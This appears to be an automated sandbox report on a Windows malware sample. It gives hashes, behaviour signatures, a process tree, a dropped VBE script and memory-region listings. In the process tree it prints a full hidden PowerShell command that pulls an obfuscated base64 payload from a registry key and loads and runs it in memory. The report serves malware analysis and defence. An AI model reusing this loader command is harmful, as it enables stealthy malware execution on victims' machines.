Analysis

  • max time kernel
    150s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    28-09-2024 04:54

General

  • Target

    fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe

  • Size

    1.7MB

  • MD5

    fb8afa9be7cd9b09165d39421503ebfd

  • SHA1

    2919894445553dae0a5f97697cb5db0df965166e

  • SHA256

    ef2a510aa2f3657c32deab53ec3fc80edd2bec58ac0da22e095513884e7043bc

  • SHA512

    ba102f2e15540ade3990b82982be66b53db728d4929486477f63246646fc5559c294c5abb4cafdd989cf4adca090bdd5dd250c8ed38bb24a8e08e80e2cf824b3

  • SSDEEP

    24576:Ak70TrcTvLK7koq/KtGm0kaSv/o+6207Bh9n1bUPrYTDpGEQ097U2T/DPFraw5kp:AkQTATTK73uSo37Bh968DpG+97U2TDAl

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 17 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2704
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\as.vbe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3332
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy UnRestricted -Windo 1 -windowstyle hidden -noprofile -Command "$cfJCQuaPpcvHNtburGeOoeUAfRuOkQSuaIABFRFY = (get-itemproperty -path 'HKCU:\COckTaiOeXpydafeztzeBYwivGWHLnKaPKbbzBD\WaRtD\' -name 'fUYIMvSOAzDMMzOhHueMLoX').fUYIMvSOAzDMMzOhHueMLoX;$cfJCQuaPpcvHNtburGeOoeUAfRuOkQSuaIABFRFY=$cfJCQuaPpcvHNtburGeOoeUAfRuOkQSuaIABFRFY.replace('!!!%!!!','A');[byte[]]$_0 = [System.Convert]::FromBase64String($cfJCQuaPpcvHNtburGeOoeUAfRuOkQSuaIABFRFY);$_1 = [Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke('uBzuyXHsbpUvQdVSJheiunBzDtnndTbTNAB',$null);"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Maps connected drives based on registry
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3396
    • C:\Users\Admin\AppData\Local\Temp\fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\fb8afa9be7cd9b09165d39421503ebfd_JaffaCakes118.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:3424

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\as.vbe

    Filesize

    149KB

    MD5

    1f6996f5a49be5f10e98850c2f1da0d3

    SHA1

    b116e7cbbda13b85b8967ee9ac52c1f0207ae060

    SHA256

    cbeeedc1db225af601f228ac5ccc035c53cb4e3979c7c643fdc3059b53d4949d

    SHA512

    d379b6d5f91649d1e4209aceb787be4feea12e72d4b56c5bb94e6bb52668df21db26cb39560a2ee3516f199e6cd454cd9b0fa5682b118273e6c530195dc9b1f4

  • memory/2704-38-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-764-0x00000000064B0000-0x00000000064CC000-memory.dmp

    Filesize

    112KB

  • memory/2704-2-0x00000000746B0000-0x0000000074D9E000-memory.dmp

    Filesize

    6.9MB

  • memory/2704-34-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-5-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-6-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-18-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-26-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-16-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-14-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-12-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-10-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-8-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-36-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-52-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-50-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-48-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-30-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-44-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-42-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-40-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-0-0x00000000746BE000-0x00000000746BF000-memory.dmp

    Filesize

    4KB

  • memory/2704-4-0x0000000004BE0000-0x0000000004DF2000-memory.dmp

    Filesize

    2.1MB

  • memory/2704-3-0x00000000746B0000-0x0000000074D9E000-memory.dmp

    Filesize

    6.9MB

  • memory/2704-46-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-28-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-24-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-22-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-20-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-54-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-64-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-68-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-66-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-62-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-60-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-58-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-56-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-754-0x00000000746BE000-0x00000000746BF000-memory.dmp

    Filesize

    4KB

  • memory/2704-753-0x00000000746B0000-0x0000000074D9E000-memory.dmp

    Filesize

    6.9MB

  • memory/2704-755-0x00000000746B0000-0x0000000074D9E000-memory.dmp

    Filesize

    6.9MB

  • memory/2704-756-0x00000000746B0000-0x0000000074D9E000-memory.dmp

    Filesize

    6.9MB

  • memory/2704-757-0x00000000746B0000-0x0000000074D9E000-memory.dmp

    Filesize

    6.9MB

  • memory/2704-1-0x0000000004DF0000-0x0000000005002000-memory.dmp

    Filesize

    2.1MB

  • memory/2704-32-0x0000000004BE0000-0x0000000004DEB000-memory.dmp

    Filesize

    2.0MB

  • memory/2704-780-0x00000000746B0000-0x0000000074D9E000-memory.dmp

    Filesize

    6.9MB